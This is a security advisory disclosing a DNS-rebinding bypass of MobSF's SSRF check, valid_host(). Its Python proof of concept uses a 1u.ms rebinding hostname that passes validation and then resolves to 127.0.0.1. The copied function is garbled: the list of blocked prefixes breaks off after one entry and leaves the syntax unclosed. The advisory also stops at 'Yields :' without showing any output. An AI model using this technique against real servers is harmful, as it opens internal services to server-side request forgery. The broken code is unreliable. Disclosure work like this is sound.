Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',

        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :
